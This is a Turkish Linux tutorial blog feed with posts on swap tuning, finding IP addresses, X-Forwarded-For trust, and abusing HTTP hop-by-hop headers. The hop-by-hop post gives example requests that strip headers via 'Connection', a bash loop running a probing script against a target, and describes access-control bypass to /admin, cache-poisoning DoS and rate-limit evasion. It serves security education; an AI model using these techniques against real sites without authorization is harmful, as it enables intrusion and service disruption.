<p>Bu iki sorunu önlemek için sisteminiz nadiren kullanılan bazı uygulama belleklerini diskteki swap alanına yeniden tahsis edebilir, böylece RAM’i serbest bırakır. Bu yaklaşım, bellek tükenmesi nedeniyle işlemlerin ölmesini önleyebilir ve disk işlemlerinin daha sorunsuz çalışabilmesi için biraz önbellek geri kazandırabilir.</p>

<p>Yine de hangi noktada swap alanının kullanılabileceği biraz muğlaktır(en azından benim için, zira çekirdek tarafında birçok faktörü hesaba katan benim anlayamadığım “sihirli” bir algoritma mevcut). Yani swap alanın tam olarak ne zaman kullanılacağı dair kesin bir çizgi-sınır bulunmuyor. Eğer RAM üzerindeki baskı fazlaysa ve artma eğilimindeyse swap kullanımı sistem tarafından organize ediliyor.</p>

<p>İşte Linux sistemimiz yani aslında çekirdeğimiz de, bu baskının nasıl hesaplandığını ayarlamanıza yardımcı olan bir “swappiness” değerine sahiptir. Bu ayar genellikle yanlış bir şekilde “RAM yüzdesi” olarak temsil ediliyor, ancak bu sadece “sihirli” önceliklendirme algoritmasındaki formülün bir parçası olarak kullanılan bir değerdir. 40 ile 60 arasındaki değerler tavsiye edilen makul değerlerdir, 60 günümüzde varsayılan değerdir. Çekirdek sihrini gerçekleştirirken önceliklendirme bu değere göre yeniden ağırlıklandırır.</p>

<p>Bu bilgiler ışığında sisteminizin swap yapmasına izin vermek, çok fazla RAM’iniz olsa bile genel olarak iyi bir tercihtir. Sisteminizin swap yapmasına izin vermek, RAM miktarının yetersiz kaldığı durumlarda bile her şeyin çalışmaya devam etmesi için sisteme ikinci şans verir. Zaten gerekmedikçe swap alanı kullanılmayacaktır. Swap kullanmayı tamamen devre dışı bırakırsanız, bellek tahsis edememe nedeniyle işlemlerin öldürülme riskini alırsınız.</p>

<h2 id="sistem-yavaşlayıp-yoğun-bir-şekilde-swap-yaptığında-ne-olur">Sistem Yavaşlayıp Yoğun Bir Şekilde Swap Yaptığında Ne Olur?</h2>

<p>Swap, yavaş ve maliyetli bir işlemdir(RAM ile standart diskler arasındaki korkunç okuma-yazma hızı farkı dolayısıyla), bu sebeple çoğu durumda çekirdek swap alanını kullanmaktan kaçınır. Ancak önbellek performansındaki ticaretin genel olarak bunu telafi edeceğine karar verirse veya işlemleri öldürmekten kaçınmak gerekiyorsa swap alanı kullanılır.</p>

<p>Çoğu zaman insanlar çok fazla swap alanı kullanan(dolayısıyla diskini yoğun bir şekilde kullanan) sistemlerine bakar ve bunun için swap yöntemini suçlar. Bu yanlış bir yaklaşımdır. Çünkü bu durum sisteminizdeki RAM miktarının yeterli olmadığına bir işarettir. Swap aslında burada sürekli olarak kurtarıcı rolünü üstlenir ve size “<em>artık daha fazla RAM’e ihtiyacın var</em>” mesajını açık şekilde iletir. Dolayısıyla çözüm için swap alanını suçlamak yerine sistemin size RAM için yalvardığının farkında olmanız doğru olacaktır. Zira swap olmasaydı, çalışan işlemleriniz rastgele şekilde ölüyor olacaktı.</p>

<h2 id="masaüstü-sistemler-i̇çin-farklı-bir-yaklaşım-gerekmiyor-mu">Masaüstü Sistemler İçin Farklı Bir Yaklaşım Gerekmiyor Mu?</h2>

<p>Masaüstü sistemi kullanıcıları, kullanıcı tarafından başlatılan eylemlere (bir uygulama açmak gibi) tepki olarak sistemin “hızlı” olmasını bekler, bu tür eylemler bazen swap tetikleyebilir.</p>

<p>Bazı insanlar bunu ayarlamak için swappiness değerini azaltır, bu da uygulamaların bellek kullanmasını ve düşük önbellek alanı ile çalışmasını sağlar.</p>

<p>Ancak bu sadece hedeflerin yerini değiştirir. İlk uygulama swap işlemi olmadan yüklenebilir, ancak sonraki uygulamanın yüklenmesi için daha az alan bırakır. Aynı swap işlemi sadece daha sonra, bir sonraki uygulamayı açtığınızda gerçekleşir. Bu arada, sistem performansı azalan önbellek boyutu nedeniyle daha düşüktür. Bu nedenle, swappiness ayarını azaltmanın herhangi bir faydası ölçülemez olabilir. Eğer ne yaptığınızı biliyorsanız kimi sistemler için Swappiness’i biraz azaltmak gerekli olabilir.</p>

<p>Yine de tekrar hatırlatmak gerekirse, swap kullanmayı tamamen devre dışı bırakmak, bellek tükenme koşullarına karşı ekstra koruma kaybına neden olur. Bu da mevcut işlemlerin çökmesine veya öldürülmesine neden olabilir.</p>

<p>En etkili çözüm, eğer karşılayabiliyorsanız, daha fazla RAM eklemektir.</p>

<h2 id="zaten-çok-fazla-ram-olan-bir-sistem-üzerinde-swap-devre-dışı-bırakılabilir-mi">Zaten Çok Fazla RAM Olan Bir Sistem Üzerinde Swap Devre Dışı Bırakılabilir Mi?</h2>

<p>Eğer uygulamalar için gerekenden çok daha fazla RAM’iniz varsa, nadiren swap’a ihtiyaç duyarsınız. Bu nedenle, swap’ı devre dışı bırakmak normal şartlarda bir fark yaratmayacaktır. Ancak, çok fazla RAM’iniz varsa, swap’ı etkin bırakmak da bir handikap oluşturmaz çünkü sistem ihtiyaç duymadıkça swap alanını kullanmaz.</p>

<p>Swap’ın fark yaratacağı tek durum, sistemin bellek tükenmesi ve dolayısıyla önbellek sisteminin aksaması durumudur. Bu nedenle, swap’ı normal ayarlarda bırakmak, bol miktarda bellek olduğunda bile olumsuz bir etki yaratmadan ek bir güvenlik sağlar.</p>

<h2 id="swap-sistemi-hızlandırabilir-mi-swap-yapmak-yavaşlatmaz-mı">Swap Sistemi Hızlandırabilir mi? Swap Yapmak Yavaşlatmaz mı?</h2>

<p>Verilerin RAM’den swap’a aktarılması yavaş bir işlemdir, ancak bu yalnızca çekirdek, makul bir önbellek boyutunu korumanın genel faydasının bunu aşacağını düşündüğünde yapılır. Sisteminiz disk sürücüsünde aşırı yavaşlama yaşıyorsa, swap bunu neden olmuyor, sadece hafifletmeye çalışıyor.</p>

<h2 id="veriler-swaptan-ne-zaman-çıkar">Veriler Swap’tan Ne Zaman Çıkar?</h2>

<p>Belleğin herhangi bir parçası, kullanıldığı(okunduğunda veya yazıldığında) anda swap’tan çıkar. Ancak, genellikle swap yapılan bellek, uzun zamandır erişilmeyen ve yakın zamanda ihtiyaç duyulması beklenmeyen bellektir.</p>

<p>Disk okuma yazma kısıtlamaları dolayısıyla Swap’tan veri alıp okumak, oraya yazmak kadar zaman alır. Bu sebeple çekirdek buna ihtiyaç duymadıkça veriyi swap’tan çıkarmaz.</p>

<h2 id="swappinessi-azaltmanın-uygun-olduğu-durumlar-var-mı">Swappiness’i Azaltmanın Uygun Olduğu Durumlar Var mı?</h2>

<p>Evet. Sisteminizi belirli bir sunucu uygulamasına adadıysanız ve bu uygulama sistem önbelleğinden faydalanmıyorsa. Oracle server, MySQL/MariaDB gibi bazı veritabanı sunucuları, bazen swappiness’i 1-10 arasında düşürmeyi önerir çünkü bu veritabanı motorları kendi önbelleklerini kullanır.</p>

<p>Sisteminizin amacı kendi önbelleklerini kullanan ve sistem önbelleğinden faydalanmayan bir uygulama etrafında merkezlenmişse, swappiness’i düşürmek iyi bir fikir olabilir.</p>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="swap" /><category term="performans" /><category term="sysctl" /><summary type="html"><![CDATA[Swappiness Nasıl Düzenlenir ?]]></summary></entry><entry><title type="html">HTTP hop-by-hop Başlıklarının Kötüye Kullanımı</title><link href="https://www.linuxdersleri.net/http-hop-by-hop-kotuye-kullanim" rel="alternate" type="text/html" title="HTTP hop-by-hop Başlıklarının Kötüye Kullanımı" /><published>2024-05-29T00:00:00+00:00</published><updated>2024-05-29T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/http-hop-by-hop-kotuye-kullanim</id><content type="html" xml:base="https://www.linuxdersleri.net/http-hop-by-hop-kotuye-kullanim"><![CDATA[<p>Buradaki anlatımların netleşmesi için temelde HTTP/1 ve HTTP/2 protokollerinin nasıl çalıştığını bilmek faydalı olabilir.</p>

<h1 id="hop-by-hop-header-nedir-">hop-by-hop Header Nedir ?</h1>

<p>“hop-by-hop” başlık(header), bir HTTP isteğinin veya yanıtın yalnızca bir hop (sunucu veya istemci) üzerinde geçerli olduğu anlamına gelir. Bu başlıklar, istek veya yanıtın yalnızca bir ağ noktasından diğerine iletilmesi gereken bilgileri içerir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/hop-by-hop.png" alt="hop-by-hop" class="responsive img-zoomable" /></p>

<p>end-to-end header olarak geçen istek veya yanıtlarda ise başlıklar baştan sonra aynı kalır.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/end-to-end.png" alt="end-to-end" class="responsive img-zoomable" /></p>

<p>HTTP/1.1, <a href="https://tools.ietf.org/html/rfc2616#section-13.5.1">RFC 2612</a> gereği <code class="language-plaintext highlighter-rouge">Keep-Alive</code>, <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, <code class="language-plaintext highlighter-rouge">TE</code>, <code class="language-plaintext highlighter-rouge">Connection</code>, <code class="language-plaintext highlighter-rouge">Trailer</code>, <code class="language-plaintext highlighter-rouge">Upgrade</code>, <code class="language-plaintext highlighter-rouge">Proxy-Authorization</code> ve  <code class="language-plaintext highlighter-rouge">Proxy-Authenticate</code> başlıklarını varsayılan olarak hop-by-hop başlıklar olarak kabul ediyor. Ayrıca ek başlıklar, <code class="language-plaintext highlighter-rouge">Connection</code> başlığı aracılığıyla hop-by-hop olarak belirtilebiliyor.  Dolayısıyla HTTP/1.1 uyumlu bir proxy bu başlıkları içeren bir istek aldığında, başlığın gerektirdiği işlemi uygulayıp bu başlıkları bir sonraki “hop” yani atlama noktası olan proxy’e <strong>iletmemesi</strong> gerekiyor.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Connection</span><span class="p">:</span> <span class="nx">close</span><span class="p">,</span> <span class="nx">test1</span><span class="p">,</span> <span class="nx">test2</span>
</code></pre></div></div>

<p>Yukarıdaki başlığı alan proxy, <code class="language-plaintext highlighter-rouge">test1</code> ve <code class="language-plaintext highlighter-rouge">test2</code> değerlerini hop-by-hop olarak ele aldığı için bir sonraki noktaya iletmeden önce bunları kaldırıyor. <strong>HTTP/1.1 de mevcut olan bu özellik</strong> sayesinde özelleştirilmiş hop-by-hop başlıklar oluşturabiliyoruz.</p>

<h1 id="hop-by-hop-başlıklarının-kötüye-kullanımı">Hop-by-hop Başlıklarının Kötüye Kullanımı</h1>

<p>HTTP isteklerinde başlıkları kaldırmak her zaman sorun teşkil etmese de, orijinal istekte bulunmayan ancak zincirdeki başka bir proxy tarafından eklenen başlıkları kaldırabilmek öngörülemeyen sonuçlar yaratabilir.</p>

<p>Örneğin eğer backend, aradaki proxy tarafından eklenen <code class="language-plaintext highlighter-rouge">X-Important</code> gibi bir başlığını bekleyip bu başlığa göre bir karar veriyorsa hop-by-hop başlığının kötüye kullanımı sorun yaratabilir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/abuse-hop-by-hop.png" alt="abuse-hop-by-hop" class="responsive img-zoomable" /></p>

<p>Not: Tüm proxy’lerin <code class="language-plaintext highlighter-rouge">Connection</code> başlığına tepkileri aynı olmayabilir. Aradaki proxy <code class="language-plaintext highlighter-rouge">Connection</code> başlığına dokumadan bir sonraki noktaya da iletebilir. Bu durum, kullanılan teknolojilere bağlı farklı yorumlama-ele alınış sebebiyle gerçekleşebilir.</p>

<h1 id="hop-by-hop-başlıklarının-kötüye-kullanımını-test-etme">Hop-by-hop Başlıklarının Kötüye Kullanımını Test Etme</h1>

<p>Test etmek için mevcut ve mevcut olmadığında yanıtta gözle görülür bir fark yaratan bir başlığı <code class="language-plaintext highlighter-rouge">Connection</code> ile hop-by-hop başlık olarak ekleyip yanıttaki farkı gözlemleyebiliriz.</p>

<p>Örneğin <code class="language-plaintext highlighter-rouge">Cookie</code> başlığı olmadığında yetki hatası döndürülüyorsa, <code class="language-plaintext highlighter-rouge">Cookie</code> başlığını <code class="language-plaintext highlighter-rouge">Connection</code> başlığında belirterek hop-by-hop başlığı olarak ele alınmasını sağlayın. Eğer yanıt olarak yetki hatası alırsanız, hop-by-hop olarak kabul edildiğini teyit etmiş olursunuz.</p>

<p>Cookie başlığı olan standart istek:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">api</span><span class="o">/</span><span class="nx">me</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">foo</span><span class="p">.</span><span class="nx">bar</span>
<span class="nx">Cookie</span><span class="p">:</span> <span class="nx">session</span><span class="o">=</span><span class="nx">xxx</span>
</code></pre></div></div>

<p>Yanıt:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">200</span> <span class="nx">OK</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Cookie</code> başlığı olmayan standart  istek:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">api</span><span class="o">/</span><span class="nx">me</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">foo</span><span class="p">.</span><span class="nx">bar</span>
</code></pre></div></div>

<p>Yanıt:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">403</span> <span class="nx">Forbidden</span>
</code></pre></div></div>

<p>Hop-by-hop testi:</p>

<p>İstek:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">api</span><span class="o">/</span><span class="nx">me</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">foo</span><span class="p">.</span><span class="nx">bar</span>
<span class="nx">Cookie</span><span class="p">:</span> <span class="nx">session</span><span class="o">=</span><span class="nx">xxx</span>
<span class="nx">Connection</span><span class="p">:</span> <span class="nx">close</span><span class="p">,</span> <span class="nx">Cookie</span>
</code></pre></div></div>

<p>Yanıt:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">HTTP</span><span class="o">/</span><span class="mf">1.1</span> <span class="mi">403</span> <span class="nx">Forbidden</span>
</code></pre></div></div>

<p>Gördüğünüz gibi <code class="language-plaintext highlighter-rouge">Cookie</code> başlığı olmadığında aldığımız yanıtta olduğu gibi erişim yetkisi hatası aldık. Çünkü <code class="language-plaintext highlighter-rouge">Connection</code> başlığı hop-by-hop kabul edilip aradaki proxy tarafından <code class="language-plaintext highlighter-rouge">Cookie</code> değeri silindiği için nihai sunucuya bu başlık iletilmedi.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/abuse-hop-by-hop-testing.png" alt="abuse-hop-by-hop-testing" class="responsive img-zoomable" /></p>

<p>Ayrıca Burp Intruder veya <a href="https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d">buradaki script</a> yardımıyla <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers">buradaki</a> gibi bir başlık listesini kullanarak, orijinal istekte mevcut olmasa bile hangi başlıkların hop-by-hop olarak etkilendiğini gözlemleyebilirsiniz.</p>

<p>Örneğin ilgili scripti kullanmak için, bash kabuğunda aşağıdaki komutu girebilirsiniz:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="nx">HEADER</span> <span class="k">in</span> <span class="nx">$</span><span class="p">(</span><span class="nx">cat</span> <span class="nx">headers</span><span class="p">.</span><span class="nx">txt</span><span class="p">);</span> <span class="k">do</span> <span class="nx">python</span> <span class="nx">poison</span><span class="o">-</span><span class="nx">test</span><span class="p">.</span><span class="nx">py</span> <span class="o">-</span><span class="nx">u</span> <span class="dl">"</span><span class="s2">https://target</span><span class="dl">"</span> <span class="o">-</span><span class="nx">x</span> <span class="dl">"</span><span class="s2">$HEADER</span><span class="dl">"</span><span class="p">;</span> <span class="nx">sleep</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">done</span>
</code></pre></div></div>

<p>Bu komut, başlık listesindeki tüm başlıkları sırasıyla hop-by-hop olarak ekleyip başlıkların farklı bir durum kodu veya yanıt gövdesi boyutu oluşturup oluşturmadığını size bildirecektir. Bu sayede orijinal istekte olmasa bile hop-by-hop olarak ele alınan başlıkları keşfetmeniz mümkün olabilir.</p>

<p>Temel kavramlar ve tespiti için gereken yaklaşımdan bahsettiğimize göre bu tekniğin kullanılabileceği bazı alanlarından bahsederek devam edebiliriz.</p>

<h1 id="x-forwarded-foru-gizleyerek-kaynak-ip-adresini-maskeleme">X-Forwarded-For’u Gizleyerek Kaynak IP Adresini Maskeleme</h1>

<p>Bir frontend proxy’si bir kullanıcı isteğini kabul ettiğinde, bu kullanıcının IP adresini <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> (<code class="language-plaintext highlighter-rouge">XFF</code>) başlığına ekleyebilir, böylece backend’deki altyapı ve uygulamalar istekte bulunan kullanıcının IP adresini bilebilir. Ancak proxy’lere bu başlığın hop-by-hop olduğu talimatını vererek, bu başlığı istekten kaldırabiliriz. Bu sayede backend uygulaması orijinal IP adresini bilemez.</p>

<p>İstekte zaten mevcut değilse, isteği gerçekleştiren IP adresini <code class="language-plaintext highlighter-rouge">XFF</code> başlığı ile uygulama sunucusuna aktaran bir load balancer proxy’nin bulunduğu durumda:</p>

<p>Örnek olarak, CDN &gt; load balancer &gt; app server durumundaki yapıyı düşünelim. Bu uygulama CDN arkasındaki load balancer’a güvendiği için doğrudan bu load balancer’dan gelen yerel bir IP aralığından (örneğin 10.1.2.3/24 gibi) gelen bir istekle karşılaşıldığında isteklere özel /admin adresine admin yetkisi tanıyor olsun.</p>

<p>Güvenilir bir load balancer’ın arkasında olduğu için uygulama, saldırgan <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> sahteciliği yapmaya çalışsa bile, CDN’in gerçek kaynak IP’yi başlığa ekleyeceğine güvenebilir. Gerçek IP adresinin nasıl eklenebileceği, kullanılan proxy çözümüne bağlı olarak değişebilir lakin buradaki <a href="https://www.linuxdersleri.net/x-forwared-for">XFF</a> yazısı yardımcı olabilir. En nihayetinde istek <code class="language-plaintext highlighter-rouge">X-Forwarded-For:&lt;saldırgan sahte ip&gt;, &lt;gerçek saldırgan ip&gt;</code> gibi görünür, böylece uygulama sahtecilik girişimlerini güvenle halledebilir. Ancak, <code class="language-plaintext highlighter-rouge">XFF</code> başlığı uygulamaya ulaşmadan önce çıkarılıyorsa, ki bu bir saldırganın <code class="language-plaintext highlighter-rouge">XFF</code>‘yi hop-by-hop başlığı olarak eklemesi durumunda söz konusu olabilir, o zaman bir load balancer proxy  <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>‘un yokluğuna, kendisinden önceki yük dengeleyicinin IP adresini talep eden IP (örn. 10.1.2.3) olarak alarak tepki verecek ve uygulamaya ulaşan son <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> değeri, başka hiçbir şey eklenmeden 10.1.2.3 olacaktır. Böyle bir uygulamada, bu istek <strong>/admin</strong> adresine erişim izni verecektir çünkü bu yerel bir adrestir.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/abuse-hop-by-hop-hide-ip.png" alt="abuse-hop-by-hop-hide-ip" class="responsive img-zoomable" /></p>

<p>Ayrıca <code class="language-plaintext highlighter-rouge">XFF</code> yerine isteğin IP kaynağını belirtmek için   <code class="language-plaintext highlighter-rouge">Forwarded</code>, <code class="language-plaintext highlighter-rouge">X-Real-IP</code> gibi başlıklar da kullanılabilir.</p>

<h1 id="cache-poisoning-dos">Cache poisoning DoS</h1>

<p>Eğer önbellek sunucusu, kendisine iletilen hop-by-hop başlığına dokunmadan bunu bir sonraki proxy’e yönlendirirse ve bu proxy de bu başlığı işleyip kaldırırsa ve bu durum 400 veya 501 gibi bir hataya sebep olursa: bu, uygulamanın önündeki web önbelleğinin, bu istenmeyen yanıtı diğer kullanıcılara hizmet verecek kopya olarak kabul etmeyi seçmesine neden olabilir ve bu nedenle, önbellek zehirlenmesi DoS ile karşı karşıya kalırız.</p>

<p><img src="https://www.linuxdersleri.net/blog/img/http-hop-by-hop-kotuye-kullanim/abuse-hop-by-hop-cache-poisoning-dos.png" alt="abuse-hop-by-hop-cache-poisoning-dos" class="responsive img-zoomable" /></p>

<h1 id="rate-limit-bypass">Rate Limit Bypass</h1>

<p>Ayrıca kimi durumlarda <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı sayesinde istemcinin IP adresine bakarak rate limit uygulayan yapıları sahte <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı ile bypass etmek mümkün olabilir. Her istekte sahte bir IP adresi ile neredeyse sınırsız sayıda istek göndermek mümkün olabilir.</p>

<p>Kaynakça:</p>

<ul>
  <li><a href="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" target="_blank">Abusing HTTP hop-by-hop request headers</a></li>
</ul>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="network" /><category term="http" /><category term="web" /><category term="güvenlik" /><summary type="html"><![CDATA[Buradaki anlatımların netleşmesi için temelde HTTP/1 ve HTTP/2 protokollerinin nasıl çalıştığını bilmek faydalı olabilir.]]></summary></entry><entry><title type="html">Linux Komut Satırı ile IP Öğrenme</title><link href="https://www.linuxdersleri.net/linux-ip-ogrenme" rel="alternate" type="text/html" title="Linux Komut Satırı ile IP Öğrenme" /><published>2024-05-20T00:00:00+00:00</published><updated>2024-05-20T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/linux-ip-ogrenme</id><content type="html" xml:base="https://www.linuxdersleri.net/linux-ip-ogrenme"><![CDATA[<p>Cihazlarımızın “local” ve “public” olmak üzere temelde 2 tür ip adresi bulunur. Lokal ip adresimiz, lokal ağımızdaki iletişim için kullanılırken, public ip adresimiz “internet” yani genel ağ üzerinde geçerli olan benzersiz bir ip adresidir. Bu konu hakkında daha fazla detay için <a href="https://www.linuxdersleri.net/egitim/temel-network/temel-kavramlar/index.html#genel-ve-%C3%B6zel-ip-adresleri-hakk%C4%B1nda">buraya</a> göz atabilirsiniz. Ayrıca temel network bilgisi için <a href="https://www.linuxdersleri.net/temel-network">tüm seriyi</a> tamamlamanızı da tavsiye edebilirim.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-network/temel-kavramlar/LAN-to-WAN.webp" alt="local-public-ip" class="responsive img-zoomable" /></p>

<h2 id="local-ip-adresini-öğrenmek">Local IP Adresini Öğrenmek</h2>

<p>Eğer “local” ağınızdaki ip adresinizi öğrenmek isterseniz <code class="language-plaintext highlighter-rouge">ip a</code> komutunu kullanabilirsiniz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>taylan㉿linuxdersleri<span class="o">)</span>-[~]
└─<span class="nv">$ </span>ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    <span class="nb">link</span>/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: <span class="mavi">eth0</span>: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    <span class="nb">link</span>/ether 08:00:27:95:bd:54 brd ff:ff:ff:ff:ff:ff
    <span class="mavi">inet 10.0.2.15/24</span> brd 10.0.2.255 scope global dynamic noprefixroute eth0
       valid_lft 86240sec preferred_lft 86240sec
    inet6 fe80::5614:84da:7a62:e798/64 scope <span class="nb">link </span>noprefixroute 
       valid_lft forever preferred_lft forever

</code></pre></div></div>

<p>Ben <strong>ethernet</strong> yani kablo ile internete bağlı olduğum için “<span class="mavi">eth0</span>” arayüzündeki “<span class="mavi">inet</span>” olarak belirtilmiş olan <span class="mavi">10.0.2.15/24</span> adresi benim local ağımdaki ip adresimdir.</p>

<h2 id="public-ip-adresini-öğrenmek">Public IP Adresini Öğrenmek</h2>

<p>Eğer “public” yani dış ağdaki benzersiz ip adresinizi öğrenmek isterseniz, bunun için hizmet sunan bazı servislere <code class="language-plaintext highlighter-rouge">curl</code> aracı yardımıyla sorgu gönderebilirsiniz. Bazı örnekler aşağıdaki gibidir:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>taylan㉿linuxdersleri<span class="o">)</span>-[~]
└─<span class="nv">$ </span>curl ifconfig.me
151.126.45.155
┌──<span class="o">(</span>taylan㉿linuxdersleri<span class="o">)</span>-[~]
└─<span class="nv">$ </span>curl ifconfig.co
151.126.45.155

</code></pre></div></div>

<p>Gördüğünüz gibi yanıt olarak doğrudan mevcut makinenin public ip adresi konsola bastırıldı.</p>

<p>Esasen “local” ve “public” ip adresini öğrenmek için pek çok farklı yaklaşım olsa da, pratiklik açısından burada bahsedilen temel yaklaşımlar yeterli olacaktır.</p>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="network" /><category term="IP" /><summary type="html"><![CDATA[Cihazlarımızın “local” ve “public” olmak üzere temelde 2 tür ip adresi bulunur. Lokal ip adresimiz, lokal ağımızdaki iletişim için kullanılırken, public ip adresimiz “internet” yani genel ağ üzerinde geçerli olan benzersiz bir ip adresidir. Bu konu hakkında daha fazla detay için buraya göz atabilirsiniz. Ayrıca temel network bilgisi için tüm seriyi tamamlamanızı da tavsiye edebilirim.]]></summary></entry><entry><title type="html">X-Forwarded-For Nedir ve Ona Ne Zaman Güvenebiliriz ?</title><link href="https://www.linuxdersleri.net/x-forwarded-for" rel="alternate" type="text/html" title="X-Forwarded-For Nedir ve Ona Ne Zaman Güvenebiliriz ?" /><published>2024-05-14T00:00:00+00:00</published><updated>2024-05-14T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/x-forwarded-for</id><content type="html" xml:base="https://www.linuxdersleri.net/x-forwarded-for"><![CDATA[<p>HTTP istekleri çoğu durumda, nihai hedefine ulaşmadan önce birden fazla altyapı katmanından geçer. Bu sebeple, isteği gerçekleştiren asıl “istemci” bilgisinin nihai hedefteki sunucuya ulaştırılabilmesi için <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı kullanılabilir. Hemen basit bir örnek üzerinden açıklayalım.</p>

<p><img src="https://www.linuxdersleri.net\blog\img\x-forwarded-for\standart-http-request.png" alt="standart-http-request" class="responsive img-zoomable" /></p>

<p>Bu örnekte, backend uygulamasına(app server) ulaşan http istediğinde orijinal istemcinin IP adresi çoktan yok olmuştur. Bu duruma çözüm olarak <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığını kullanabiliriz.</p>

<p><img src="https://www.linuxdersleri.net\blog\img\x-forwarded-for\http-request-with-x-forwarded-for.png" alt="http-request-with-x-forwarded-for" class="responsive img-zoomable" /></p>

<p>HTTP isteğinin geçtiği her bir proxy yani aslında her bir “hop” ilgili isteğin kimden geldiğini <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığına sırasıyla ekleyip bir sonraki “hop” a aktarır. Örnek durumda <code class="language-plaintext highlighter-rouge">XFF</code> başlığı aşağıdaki gibidir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">For</span><span class="p">:</span> <span class="mf">156.11</span><span class="p">.</span><span class="mf">33.44</span><span class="p">,</span> <span class="mf">110.30</span><span class="p">.</span><span class="mf">10.101</span>
</code></pre></div></div>

<p>IP adresleri, HTTP isteğinin geçtiği sunucuların sırasına göre soldan sağa doğru ekleniyor. Diğer bir deyişle proxy’ler aslında <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı ile “<em>ben bu istediği XXX ip adresi adına sana iletiyorum</em>” dermişçesine bir sonraki proxy’e iletiyor. Bu sayede <strong>isteklerin hangi kaynaklardan geldiğini anlamak</strong> mümkün oluyor.</p>

<p>Bu bilgi, hedef sunucunun, gelen isteklerin kaynağını doğru bir şekilde tanımlamasına yardımcı olur. Özellikle yük dengeleme, güvenlik duvarları, istemci IP tabanlı erişim kontrolü ve istatistiksel amaçlar gibi senaryolarda <strong><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code></strong> başlığı kullanılabiliyor.</p>

<h1 id="peki-x-forwarded-fora-güvenebilir-miyiz-">Peki <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>’a Güvenebilir Miyiz ?</h1>

<p>Esasen kullanıcılardan gelen hiç bir girdiye körü körüne güvenemeyiz. Buna <code class="language-plaintext highlighter-rouge">XFF</code> gibi başlıklar da dahil elbette.</p>

<p>Örneğin bir isteğin, güvenli olarak kabul edilen şirket VPN’i veya şirket IP’si üzerinden geliyormuş gibi gösterilmesi mümkündür. Bu sebeple <code class="language-plaintext highlighter-rouge">XFF</code> başlığındaki IP adreslerinin kesin doğru bilgi içerdiği asla kabul edilmemeli.</p>

<p><img src="https://www.linuxdersleri.net\blog\img\x-forwarded-for\x-forwarded-for-ip-spoofing.png" alt="x-forwarded-for-ip-spoofing" class="responsive img-zoomable" /></p>

